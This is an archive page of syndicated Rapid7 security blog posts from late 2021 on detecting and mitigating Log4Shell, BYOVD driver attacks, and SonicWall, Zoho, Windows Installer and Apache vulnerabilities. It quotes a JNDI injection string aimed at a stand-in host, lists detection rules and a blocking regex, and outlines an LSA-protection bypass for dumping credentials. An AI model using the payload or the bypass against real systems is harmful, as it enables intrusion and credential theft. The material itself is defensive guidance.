Tag Archives: Emergent Threat Response

Using InsightVM to Find Apache Log4j CVE-2021-44228

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/12/14/using-insightvm-to-find-apache-log4j-cve-2021-44228/

Using InsightVM to Find Apache Log4j CVE-2021-44228

There are many methods InsightVM can use to identify vulnerable software. Which method is best depends on the software and specific vulnerability in question, not to mention variability that comes into play with differing network topologies and Scan Engine deployment strategies. When it comes to a vulnerability like CVE-2021-44228, affecting a software library (Log4j) that is used to build other software products and may not expose its presence in an obvious way, the situation gets even more complicated. For in-depth analysis on the vulnerability and its attack surface area, see AttackerKB.

The intent of this post is to walk InsightVM and Nexpose users through how to best approach detecting exposure to Log4Shell in your environment, while providing some additional detail about how the various checks work under the hood. This post assumes you already have an operational deployment of InsightVM or Nexpose. For additional documentation on scanning for Log4j CVE-2021-44228, take a look at our docs here.

Before (or while) you scan

Even before a vulnerability check has been made available, it can be possible to get a sense of your exposure using InsightVM features such as Query Builder, or Nexpose’s Dynamic Asset Groups. Because we use generic fingerprinting techniques such as querying Linux package managers and enumerating software found in Windows Registry uninstaller keys, the software inventory for assets may include products that are not explicitly supported. Using the search predicate software.product CONTAINS log4j will show packages on Linux systems that have been installed via package managers such as rpm or dpkg.

Using InsightVM to Find Apache Log4j CVE-2021-44228

An alternative approach to this is using an SQL Query Export using the following query:

SELECT
    da.sites AS "Site_Name",
    da.ip_address AS "IP_Address",
    da.mac_address AS "MAC_Address",
    da.host_name AS "DNS_Hostname",
    ds.vendor AS "Vendor",
    ds.name AS "Software_Name",
    ds.family AS "Software_Family",
    ds.version AS "Software_Version",
    ds.software_class AS "Software_Class"
FROM
    dim_asset_software das
JOIN
    dim_software ds USING(software_id)
JOIN
    dim_asset da ON da.asset_id = das.asset_id
WHERE
    ds.software_class like'%'
  AND
    ds.name ilike '%log4j%'
ORDER BY
    ds.name ASC

Authenticated and agent-based assessments

The most reliable way to find vulnerable instances of CVE-2021-44228 on non-Windows machines as of December 13, 2021 is via our authenticated check (check ID: apache-log4j-core-cve-2021-44228), which does a complete filesystem search for JAR files matching log4j-core.*.jar. At this time, the unzip command must be available on systems in order to extract the version from the JAR’s manifest file. An upcoming release (expected December 15) will add the capability to extract the version information from the filename if available.

For the find command to run and locate vulnerable JARs, scans must be configured with root credentials (either directly or via a privilege elevation mechanism) in the Site Configuration interface. There is currently no generic JAR detection available on Windows systems.

This functionality requires product version 6.6.118 or later. For Agent-based assessments, assets must be running version 3.1.2.36 of the Insight Agent or later. Use the Agent Management interface to determine the version of the Agent being used in your environment.

Remote scanning

A remote (unauthenticated) check for CVE-2021-44228 was published in a content release on December 12 9pm ET with Check ID apache-log4j-core-cve-2021-44228-remote. This check is platform-independent (and currently the only option for Windows systems) and works as follows:

  • IF any of the following TCP ports are found open: 80, 443, 8080, 8888 — or, alternatively, if: Nmap service fingerprinting detects HTTP or HTTPS running (note that enabling Nmap service fingerprinting may negatively impact scan times)
  • THEN the Scan Engine will attempt to exploit the vulnerability and make the scan target open a connection to the Engine on port 13456.
  • The Engine does not open a TCP listener but does a packet capture to identify connection attempts against 13456/TCP. If a connection attempt to the Engine is detected, this indicates that the target is vulnerable, and the check will fire accordingly.
  • This approach relies on bi-directional networking and requires the scan engine and scan target to be able to “talk” to each other. In some cases, such as scanning through a VPN, NAT, or firewall, that required bi-directional networking is not available.

Note: We have received some reports of the remote check not being installed correctly when taking a content update. Product version 6.6.119 was released on December 13, 2021 at 6 PM EST to ensure the remote check is available and functional.

Product-based checks

We know that many downstream vendors will issue security advisories of their own in the coming days and weeks. We continue to monitor several vendors for related security advisories. We will have checks for affected products included in our recurring coverage list as vendors provide details about affected and/or fixed versions. Users can also adapt the Query Builder or SQL Export queries provided above to find products of concern in the meantime, with the caveat that they may not be visible if they use non-standard installation mechanisms.

Container security

Customers who are worried about vulnerable images in their container repos have been able to scan for CVE-2021-44228 using InsightVM’s Container Security since December 10 at 2pm ET, thanks to our integration with the Snyk vulnerability database. It is also possible to rerun an assessment on any images that are particularly sensitive to be sure of up-to-date results.

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Update on Log4Shell’s Impact on Rapid7 Solutions and Systems

Post Syndicated from Rapid7 original https://blog.rapid7.com/2021/12/14/update-on-log4shells-impact-on-rapid7-solutions-and-systems/

Update on Log4Shell’s Impact on Rapid7 Solutions and Systems

Like the rest of the security community, we have been internally responding to the critical remote code execution vulnerability in Apache’s log4j Java library (a.k.a. Log4Shell). We have been continuously monitoring for Log4Shell exploit attempts in our environment and have been urgently investigating the implications for our corporate and production systems. Log4Shell has kept the security community extremely busy for the past several days, and we are no exception. At this time, we have not detected any successful Log4Shell exploit attempts in our systems or solutions. We will continue monitoring our environment for new vulnerability instances and exploit attempts and will update this page as we learn more.

Rapid7 solutions

In terms of Rapid7’s solutions, we prioritized remediation efforts on the Insight Platform and other hosted web application products (e.g. non-Insight branded products such as Logentries). We have remediated the Log4Shell vulnerability in our deployed application services’ code. Customers do not need to take action for any of our hosted web solutions.

Customer action required

There is no action for most customers using our solutions. However, for those using on-premise solutions, the following products and product components have been patched but require customers to take action to fully remediate Log4Shell in their environments. We strongly urge all customers using vulnerable versions of these products and product components to apply updates immediately since this vulnerability is being actively exploited and could result in highly impactful remote code execution.

Product or Component Affected Version(s) Remediation and Mitigation Instructions
InsightOps r7insight_java logging library Versions <= 3.0.8 Upgrade r7insight_java to 3.0.9
Logentries le_java logging library All versions: this is a deprecated component Migrate to version 3.0.9 of r7insight_java
Logentries DataHub Linux version <= 1.2.0.820

Windows version <= 1.2.0.820

Linux: Install DataHub_1.2.0.822.deb using the following instructions.

Windows: Run version 1.2.0.822 in a Docker container or as a Java command per these instructions.

You can find more details here.

InsightOps DataHub InsightOps DataHub <= 2.0 Upgrade DataHub to version 2.0.1 using the following instructions.

No customer action required

We have confirmed the following on-premise products and product components are not affected:

  • Alcide kArt, kAdvisor, and kAudit
  • AppSpider Pro
  • AppSpider Enterprise
  • Insight Agent
  • InsightIDR Network Sensor
  • InsightIDR/InsightOps Collector & Event Sources
  • InsightAppSec Scan Engine
  • InsightCloudSec/DivvyCloud
  • InsightConnect Orchestrator
  • InsightOps non-Java logging libraries
  • InsightVM Kubernetes Monitor
  • InsightVM/Nexpose
  • InsightVM/Nexpose Console
  • InsightVM/Nexpose Engine
  • IntSights virtual appliance
  • Metasploit Pro

Metasploit Pro ships with log4j but has specific configurations applied to it that mitigate Log4Shell. A future update will contain a fully patched version of log4j.

  • Metasploit Framework
  • tCell Java Agent
  • Velociraptor

Further reading and recommendations

Our Emerging Threat Response team has put together a detailed blog post about general guidance about how to mitigate and remediate Log4Shell. We will continue updating this post as we learn more about Log4Shell and new mitigation strategies and tactics.

Driver-Based Attacks: Past and Present

Post Syndicated from Jake Baines original https://blog.rapid7.com/2021/12/13/driver-based-attacks-past-and-present/

Driver-Based Attacks: Past and Present

“People that write Ring 0 code and write it badly are a danger to society.” Mickey Shkatov

There is no security boundary between an administrator and the Windows kernel, according to the Microsoft Security Servicing Criteria for Windows. In our analysis of CVE-2021-21551, a write-what-where vulnerability (see CWE-123) in a Dell driver, we found that Dell’s update didn’t fix the write-what-where condition but only limited access to administrative users. According to Microsoft’s definition of security boundaries, Dell’s fix removed the security issue. However, the partially fixed driver can still help attackers.

There’s an attack technique called Bring Your Own Vulnerable Driver (BYOVD). In this attack, an adversary with administrative privileges installs a legitimately signed driver on the victim system. The legitimate driver has a vulnerability that the attacker exploits to gain ring 0 access. Access to ring 0 allows the attacker to subvert or disable security mechanisms and allows them to hide deeper in the system.

Known usage in the wild

BYOVD is a common technique used by advanced adversaries and opportunistic attackers alike. To illustrate this, the following table is a non-exhaustive list of well-known advisories/malware that use the BYOVD tactic, the associated vulnerable driver, and the associated vulnerability where applicable or known.

Year Published Adversary/Malware Driver Name Driver Creator CVE ID
2021 Candiru physmem.sys Hilscher N/A
2021 Iron Tiger procexp152.sys Process Explorer N/A
2021 Iron Tiger cpuz141.sys CPUID CPU-Z CVE-2017-15303
2021 GhostEmperor dbk64.sys CheatEngine N/A
2021 ZINC viraglt64.sys Vir.IT eXplorer CVE-2017-16238
2021 Various Cryptominers using XMRig winring00x64.sys OpenLibSys N/A
2021 TunnelSnake vboxdrv.sys VirtualBox CVE-2008-3431
2020 RobbinHood gdrv.sys Gigabyte CVE-2018-19320
2020 Trickbot rwdrv.sys RWEverything N/A
2020 InvisiMole speedfan.sys Alfredo Milani Comparetti Speedfan CVE-2007-5633
2020 ZeroCleare vboxdrv.sys VirtualBox Unclear
2020 Winnti Group vboxdrv.sys VirtualBox CVE-2008-3431
2020 AcidBox vboxdrv.sys VirtualBox Unclear
2020 Dustman vboxdrv.sys VirtualBox CVE-2008-3431
2019 Doppelpaymer kprocesshacker.sys Process Hacker N/A
2018 LoJax rwdrv.sys RWEverything N/A
2018 Slingshot sandra.sys SiSoftware Sandra CVE-2010-1592
2018 Slingshot elbycdio.sys Elaborate Bytes CVE-2009-0824
2018 Slingshot speedfan.sys Alfredo Milani Comparetti Speedfan CVE-2007-5633
2018 Slingshot goad.sys ?? Unclear
2017 The Lamberts sandra.sys SiSoftware Sandra CVE-2010-1592
2016 Remsec aswsnx.sys Avast! Unclear
2016 Remsec sandbox.sys Agnitum Output Unclear
2015 Equation Group elbycdio.sys CloneCD CVE-2009-0824
2015 Derusbi nicm.sys, nscm.sys, ncpl.sys Novell CVE-2013-3956
2014 Turla vboxdrv.sys VirtualBox CVE-2008-3431
2012 Shamoon elrawdsk.sys Eldos Rawdisk N/A

We believe that attacks or exploits that are actually used in the wild are, practically by definition, worthwhile for attackers. The table above illustrates that BYOVD is a valuable technique. Given these bad drivers’ wide use in the wild, it would be beneficial for the security community to identify exploitable drivers and minimize or block their use.

Use cases

Those unfamiliar with BYOVD are probably wondering why these attackers are doing this. By far, the number one reason adversaries are using BYOVD is to bypass Windows Driver Signature Enforcement (DSE). DSE ensures that only signed kernel drivers can be loaded. By installing and exploiting a vulnerable driver, attackers can load their own unsigned malicious drivers.

There are a number of open-source exploits that demonstrate loading unsigned drivers via BYOVD. These four are some of the most well-known:

Each of these tools is authored by the same individual, hfiref0x. Stryker, DSEFix, and TDL are all deprecated or in read-only mode. Notably Stryker and DSEFix run afoul of PatchGuard and are no longer suitable for most situations. KDU, a tool that supports more than 14 different vulnerable drivers as the “provider,” is the unsigned driver loader of choice.

Once the attacker has loaded their unsigned driver into the kernel, they can accomplish a wide variety of tasks they wouldn’t be able to otherwise. Some obvious examples include unhooking EDR callbacks or hiding exploitation/rootkit artifacts. The attacker can write themselves a UEFI rootkit. Or just overwrite all data (resulting in BSoD). Or inject code into other processes.

The Dell drivers discussed below should be able to facilitate these types of attacks. Connor McGarr demonstrated Dell’s dbutil_2_3.sys (which is vulnerable to CVE-2021-21551) can be used to execute attacker code in kernel mode. Because the write-what-where condition persists in the follow-on drivers, dbutildrv2.sys 2.5 and 2.7, Dell has delivered three unique signed drivers that can execute attacker code in kernel mode.

The previously mentioned attacks largely focused on executing code in kernel mode. However, BYOVD also enables a simpler data-oriented attack that allows the attacker to subvert LSA protection.

LSA protection prevents non-protected processes from reading the memory of, or injecting code into, Windows’ Local Security Authority Subsystem Service (lsass.exe). That means tools like Mimikatz can’t dump the memory contents of lsass.exe in order to retrieve Windows account credentials. However, an attacker with ring 0 access can reach into the lsass.exe EPROCESS struct and simply mask out the LSA protection. Once masked out, the attacker is free to dump lsass.exe’s memory. There are a couple of good open-source implementations of this: mimidrv (a signed driver that is part of mimikatz) and PPLKiller (uses RTCore64.sys).

Exploitation using the Dell drivers

We’ve developed a Metasploit module that implements the LSA protection attack using the new Dell drivers (dbutildrv2.sys 2.5 and 2.7). An attacker with escalated privileges can use the module to enable or disable process protection on arbitrary PID. The following proof-of-concept video demonstrates unprotecting lsass.exe and dumping memory from metasploit.



Driver-Based Attacks: Past and Present

The Dell drivers are especially valuable because they are compatible with the newest signing requirements issued by Microsoft.

Driver-Based Attacks: Past and Present

While old drivers like vboxdrv.sys / CVE-2008-3431 are finally becoming obsolete — 13 years is a pretty good run for any vulnerability — the Dell drivers are appearing in time to take their place. And the likelihood of the Dell drivers being blacklisted is low. The drivers are used for updating firmware across a large number of products. Preventing users from updating their computers’ firmware via driver blacklist is a non-starter.

While conducting this research, Rapid7 did reach out to Dell about this issue. They stated the following:

After careful consideration with the product team, we have categorized this issue as a weakness and not a vulnerability due to the privilege level required to carry out an attack. This is in alignment with the guidance provided in the Windows Driver Model. We are not planning on releasing a security advisory or issuing a CVE on this.

Other exploitation in the wild

Of course, we are not the first to use the Dell drivers in a malicious manner. As we noted in our AttackerKB analysis, dbutil_2_3.sys can be found associated with malware on VirusTotal. The newer versions of the driver, dbutildrv2.sys version 2.5 and 2.7, haven’t appeared to be used maliciously yet. However, we do note a fair amount of other activity associated with BYOVD-related drivers that haven’t yet been mentioned in this write up:

The point is that this is a fairly active and perhaps under-reported technique. It seems only the most well-known vulnerable drivers are flagged by AV. Even a well-known driver like the gdrv.sys isn’t flagged.

Driver-Based Attacks: Past and Present
vboxdrv.sys vs. gdrive.sys

At what point should these legitimate drivers be flagged by AV? I posit that once a driver is distributed via Discord, it might be time to start flagging it as badware.

Driver-Based Attacks: Past and Present

Detection and mitigation guidance

Perhaps the best way to protect your systems is to utilize Microsoft’s driver block rules. The list is full of known bad drivers and, if used correctly, will allow you to block the driver from being loaded. Of course, this only protects you from known vulnerable drivers that Microsoft adds to this list, but it’s better than nothing. The Dell drivers are not currently in the list, but Dell has indicated they are working with Microsoft to add dbutil_2_3.sys. However, as discussed earlier, the newer versions are unlikely to ever get added. Detecting the Dell drivers through your preferred EDR solution might be an alternative solution. The SHA-1 hashes are:

dbutil_2_3.sys c948ae14761095e4d76b55d9de86412258be7afd
dbutildrv2.sys (2.5) 90a76945fd2fa45fab2b7bcfdaf6563595f94891
dbutildrv2.sys (2.7) b03b1996a40bfea72e4584b82f6b845c503a9748

If you are able to enable Hypervisor-Protected Code Integrity (HVCI) then you should absolutely do so. And, of course, you should have secure boot enabled at the very least.

We can all try to improve the Windows driver ecosystem by following Microsoft guidance on potentially dangerous drivers. Specifically, we can help by submitting drivers with vulnerabilities to the Microsoft Security Intelligence Driver Submission page for security analysis and by submitting block list suggestions to Microsoft Security Intelligence.

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Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

Post Syndicated from boB Rudis original https://blog.rapid7.com/2021/12/13/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.

CVE Vendor Advisory AttackerKB IVM Content Patching Urgency Last Update
CVE-2021-44228 Apache Advisory AttackerKB IVM authenticated and remote content available as of December 12, 2021. Container Security assessment available as of December 10, 2021. Immediately (emergency) December 12, 2021 9:38pm ET

On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.

CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability. Rapid7 researchers have developed and tested a proof-of-concept exploit that works against the latest Struts2 Showcase (2.5.27) running on Tomcat. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-44228.

A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.

Affected versions

According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled.

Mitigation and detection guidance

Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.

According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0.

  • In releases >=2.10, this behavior can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
  • For releases >=2.7 and <=2.14.1, all PatternLayout patterns can be modified to specify the message converter as %m{nolookups} instead of just %m.
  • For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.

Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.

According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.10, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.

Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.

EmergentThreat Labs has made Suricata and Snort IDS coverage for known exploit paths of CVE-2021-44228.

Researchers are maintaing a public list of known affected vendor products and third-party advisories releated to the Log4j vunlerability.

Rapid7 customers

InsightVM and Nexpose

Rapid7 has released an authenticated vulnerability check with identifier apache-log4j-core-cve-2021-44228 via a content update on December 12, 2021. This authenticated check uses the find command on Unix-like systems to identify vulnerable versions of the Log4j JAR files.

Please note that this new check will require the Security Console and Scan Engine to be updated to version 6.6.118, also released on December 12, and will not be functional with the content-only release. This will require Consoles and Engines to be restarted.

A remote check is also available as of 9 PM EST December 12, 2021 with Check ID apache-log4j-core-cve-2021-44228-remote. This check runs during network scans and will attempt to trigger a connection back to the Scan Engine in order to determine vulnerable status. This check is platform-independent, targeting Windows, Linux, and other operating systems.

We have also begun roll-out of Insight Agent version 3.1.2.36, which includes collection support for Log4j JAR files. This means vulnerability assessments of the authenticated check for CVE-2021-44228 will work for Agent-enabled systems that take the new version. Customers relying on the Insight Agent for vulnerability management may want to consider setting the Throttle level to High (which is the default) to ensure updates are applied as quickly as possible.

InsightVM customers utilizing Container Security can assess containers that have been built with a vulnerable version of the library.

InsightIDR and Managed Detection and Response

Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.

  • [Update: December 10, 2021 3:30pm ET]
    • Our Threat Detection & Response team has deployed detection rules to help identify attacker behavior related to this vulnerability:
      • Attacker Technique – Curl or Wget To Public IP Address With Non Standard Port
      • Suspicious Process – Curl or WGet Pipes Output to Shell
    • We also identified an existing detection rule that that was providing coverage prior to identification of the vulnerability:
      • Suspicious Process – Curl to External IP Address
  • [Update: December 10, 2021 7:00pm ET]
    • An additional rule has been deployed:
      • Attacker Technique – Curl Or WGet To External IP Reporting Server IP In URL

Velociraptor

A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability. A second Velociraptor artifact that looks for certain known-vulnerable JAR files was also added on December 12, 2021.

tCell

You can enable partial protection by following these two steps:

Adding this custom regex to the library: \${jndi:

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

Adding an advanced blocking rule to block the newly added regex… don’t forget to Deploy!

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j

InsightCloudSec

The InsightCloudSec and InsightVM integration will identify cloud instances which are vulnerable to CVE-2021-44228 in InsightCloudSec. Customers can use the context and enrichment of ICS to identify instances which are exposed to the public or attached to critical resources.

Applying two Insight filters  — Instance Vulnerable To Log4Shell and Instance On Public Subnet Vulnerable To Log4Shell — will enable identification of publicly exposed vulnerable assets and applications.

Widespread Exploitation of Critical Remote Code Execution in Apache Log4j
InsightCloudSec Filters for Log4J/Log4Shell Vulnerabilities
Widespread Exploitation of Critical Remote Code Execution in Apache Log4j
Results of applying the filter to the asset inventory (in this case no assets are vulnerable)

Updates

[December 10, 2021, 5:45pm ET]
Rapid7 has posted a technical analysis of CVE-2021-44228 on AttackerKB.

[December 11, 2021, 11:15am ET]
Added additional resources for reference and minor clarifications.

[December 11, 2021, 4:30pm ET]
VMware has published an advisory listing 30 different VMware products vulnerable to CVE-2021-44228, including vCenter Server, Horizon, Spring Cloud, Workspace ONE Access, vRealize Operations Manager, and Identity Manager. Their response matrix lists available workarounds and patches, though most are pending as of December 11.

Rapid7 has observed indications from the research community that they have already begun investigating RCE exploitability for products that sit in critical places in corporate networks, including network infrastructure solutions like vCenter Server. VMware customers should monitor this list closely and apply patches and workarounds on an emergency basis as they are released.

[December 11, 2021, 10:00pm ET]
Apache Struts 2 Vulnerable to CVE-2021-44228
The Apache Struts 2 framework contains static files (Javascript, CSS, etc) that are required for various UI components. Finding and “serving” these components is handled by the Struts 2 class DefaultStaticContentLoader. The DefaultStaticContentLoader is vulnerable to Log4j CVE-2021-44228;
given the default static content, basically all Struts implementations should be trivially vulnerable. Rapid7’s vulnerability research team has technical analysis, a simple proof-of-concept, and an example log artifact available in AttackerKB.

[December 12, 2021, 2:20pm ET]
InsightVM and Nexpose customers can now assess their exposure to CVE-2021-44228 with an authenticated vulnerability check. Note that this check requires that customers update their product version and restart their console and engine. See the Rapid7 customers section for details.

[December 13, 2021, 10:30 ET]
Updated mitigations section to include new guidance from Apache Log4J team and information on how to use InsightCloudSec + InsightVM to help identify vulnerable instances.

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Patch Now: Sonicwall Fixes Multiple Vulnerabilities in SMA 100 Devices

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/12/08/patch-now-sonicwall-fixes-multiple-vulnerabilities-in-sma-100-devices/

Summary

Patch Now: Sonicwall Fixes Multiple Vulnerabilities in SMA 100 Devices

On December 7, 2021, Sonicwall released a security advisory that includes patching guidance for five vulnerabilities in SonicWall SMA 100 series devices that were discovered by Rapid7 (including CVE-2021-20038 which is rated CVSSv3 9.8, critical), as well as several other CVEs discovered by NCC Group. While exploitation has not yet started for these vulnerabilities, SonicWall “strongly urges” organizations to apply the appropriate patches.

From Sonicwall’s advisory:

Issue ID Summary CVE CVSS Reporting Party Impacted Versions
SMA-3217 Unauthenticated Stack-Based Buffer Overflow CVE-2021-20038 9.8 Rapid7 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv
SMA-3204 Authenticated Command Injection CVE-2021-20039 7.2 Rapid7 9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3206 Unauthenticated File Upload Path Traversal CVE-2021-20040 6.5 Rapid7, NCCGroup 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3207 Unauthenticated CPU Exhaustion CVE-2021-20041 7.5 Rapid7 9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3208 Unauthenticated Confused Deputy CVE-2021-20042 6.3 Rapid7 9.0.0.11-31sv, 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3231 Heap-Based Buffer Overflow CVE-2021-20043 8.8 NCCGroup 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3233 Post-Authentication Remote Command Execution CVE-2021-20044 7.2 NCCGroup 10.2.0.8-37sv, 10.2.1.1-19sv
SMA-3235 Multiple Unauthenticated Heap-Based and Stack Based Buffer Overflow CVE-2021-20045 9.4 NCCGroup 10.2.0.8-37sv, 10.2.1.1-19sv

Affected versions

The issues listed above impact SMA 100 series appliances (SMA 200, 210, 400, 410, 500v).

Full disclosure scheduled for January 2022

Rapid7 will release the technical details and proof-of-concept code in January 2022 as part of our coordinated vulnerability disclosure process.

Guidance

As with all critical, network-edge appliances, Rapid7 recommends that vulnerabilities be patched immediately. SonicWall devices have previously been exploited at scale in 2021 and are generally high-value targets for attackers. Sonicwall does not list any workarounds for these issues. For more information, see SonicWall’s advisory.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to all eight of the CVEs in this advisory with vulnerability checks in the December 7, 2021 content release.

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Oh No, Zoho: Active Exploitation of CVE-2021-44077 Allowing Unauthenticated Remote Code Execution

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/12/07/oh-no-zoho-active-exploitation-of-cve-2021-44077-allowing-unauthenticated-remote-code-execution/

CVE Vendor Advisory AttackerKB IVM Content Patching Urgency Last Update
CVE-2021-44077 Zoho’s Advisory In Progress Under Evaluation Immediately December 7, 2021 5:00pm ET

Summary

Oh No, Zoho: Active Exploitation of CVE-2021-44077 Allowing Unauthenticated Remote Code Execution

Zoho customers have had a huge incentive lately to keep their software up to date, as recent Zoho critical vulnerabilities have been weaponized shortly after release by advanced attackers. (Rapid7 blogged as recently as November 9, 2021, about the Exploitation of Zoho ManageEngine). This trend continues with CVE-2021-44077, an unauthenticated remote code execution vulnerability affecting several of their products. To assist their customers, Zoho has since set up an online security response plan that includes an exploit detection tool to see if an organization’s installation is compromised.

Affected versions:

  • ManageEngine ServiceDesk Plus, prior to version 11306
  • ServiceDesk Plus MSP, prior to version 10530
  • SupportCenter Plus, prior to version 11014

Details

On September 16, 2021, Zoho released a Security Advisory urging customers to upgrade their software in order to resolve an authentication bypass vulnerability. 67 days later, on November 22, 2021, they released an additional advisory for the 44077 CVE indicating that the previously mentioned update also fixed a remote code execution (RCE) vulnerability that is being exploited in the wild.

Last week, CISA released an alert detailing attacker tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs). CVE-2021-44077 has also been added to CISA’s known exploited vulnerabilities catalog with a required remediation date of December 15, 2021, for US federal agencies.

Guidance

Rapid7 advises organizations that utilize any of the impacted versions listed above patch on an emergency basis, utilize Zoho’s exploit detection tool, and review CISA’s documentation of IOCs to determine whether a specific installation has been compromised. Additionally, we recommend that access to these products should exist behind a VPN and organizations immediately stay up to date on software versions. Attackers have had enough critical vulnerabilities of late to build a bit of a skillset in understanding how the Zoho software works, so future vulnerabilities will only be exploited even faster.

Rapid7 customers

InsightVM and Nexpose customers:
Our researchers are currently evaluating the feasibility of adding a vulnerability check.

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Ongoing Exploitation of Windows Installer CVE-2021-41379

Post Syndicated from Glenn Thorpe original https://blog.rapid7.com/2021/11/30/ongoing-exploitation-of-windows-installer-cve-2021-41379/

Ongoing Exploitation of Windows Installer CVE-2021-41379

On November 9, 2021, as part of Patch Tuesday, Microsoft released an update to address CVE-2021-41379, a “Windows Installer Elevation of Privilege Vulnerability” that had a modest CVSS score (5.5), without much fanfare. The original CVE allows an attacker to delete files on a system using elevated privileges.

Fast-forward to November 22, 2021, when after investigating the patch, the researcher that discovered the vulnerability, Abdelhamid Naceri, found that it did not fully remediate the issue and published proof-of-concept (PoC) code on GitHub proving exploitation of the vulnerability is still possible on patched versions of Windows allowing for SYSTEM-level privileges. The working PoC “overwrites Microsoft Edge elevation service ‘DACL’ and copies itself to the service location, then executes it to gain elevated privileges.”

With a zero-day exploit available, attackers have been chipping away at ways to utilize the vulnerability, especially in malware.

As of November 30, 2021, there is not an official patch from Microsoft to fully and effectively remediate this vulnerability. Community researchers and security practitioners have noted that other Microsoft zero-day vulnerabilities this year, such as CVE-2021-36934 (“HiveNightmare”/”SeriousSAM”), were not fixed until typical Patch Tuesday release cycles even if public exploit code had already made an appearance. We expect that this vulnerability will follow that same pattern and that we won’t see a new patch (and/or a new CVE, if Microsoft does indeed classify this as a patch bypass) until December 2021’s Patch Tuesday.

Affected versions

According to the researcher, all supported versions of Windows, including Windows 11 and Server 2022, are vulnerable to the exploit.

Guidance

With no official patch at this time, we recommend that organizations prepare to patch this as soon as the official fix is released. Meanwhile, Rapid7 researchers have confirmed that a number of antimalware programs have added detection of this exploit, so as usual, keep those programs up to date. Lastly, organizations can detect previous exploitation of this PoC by monitoring for EventID 1033 and “test pkg” (keeping in mind that the “test pkg” will only find this exact PoC and may be modified by more enterprising attackers).

Ongoing Exploitation of Windows Installer CVE-2021-41379

Rapid7 customers

For Rapid7 InsightVM customers, we will be releasing vulnerability checks if and when Microsoft publishes patch information for the new vulnerability.

In the meantime, InsightVM customers can use Query Builder to find Windows assets by creating the following query: os.family contains windows. Rapid7 Nexpose customers can create a Dynamic Asset Group based on a filtered asset search for OS contains windows.

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Active Exploitation of Apache HTTP Server CVE-2021-40438

Post Syndicated from Caitlin Condon original https://blog.rapid7.com/2021/11/30/active-exploitation-of-apache-http-server-cve-2021-40438/

Active Exploitation of Apache HTTP Server CVE-2021-40438

On September 16, 2021, Apache released version 2.4.49 of HTTP Server, which included a fix for CVE-2021-40438, a critical server-side request forgery (SSRF) vulnerability affecting Apache HTTP Server 2.4.48 and earlier versions. The vulnerability resides in mod_proxy and allows remote, unauthenticated attackers to force vulnerable HTTP servers to forward requests to arbitrary servers — giving them the ability to obtain or tamper with resources that would potentially otherwise be unavailable to them.

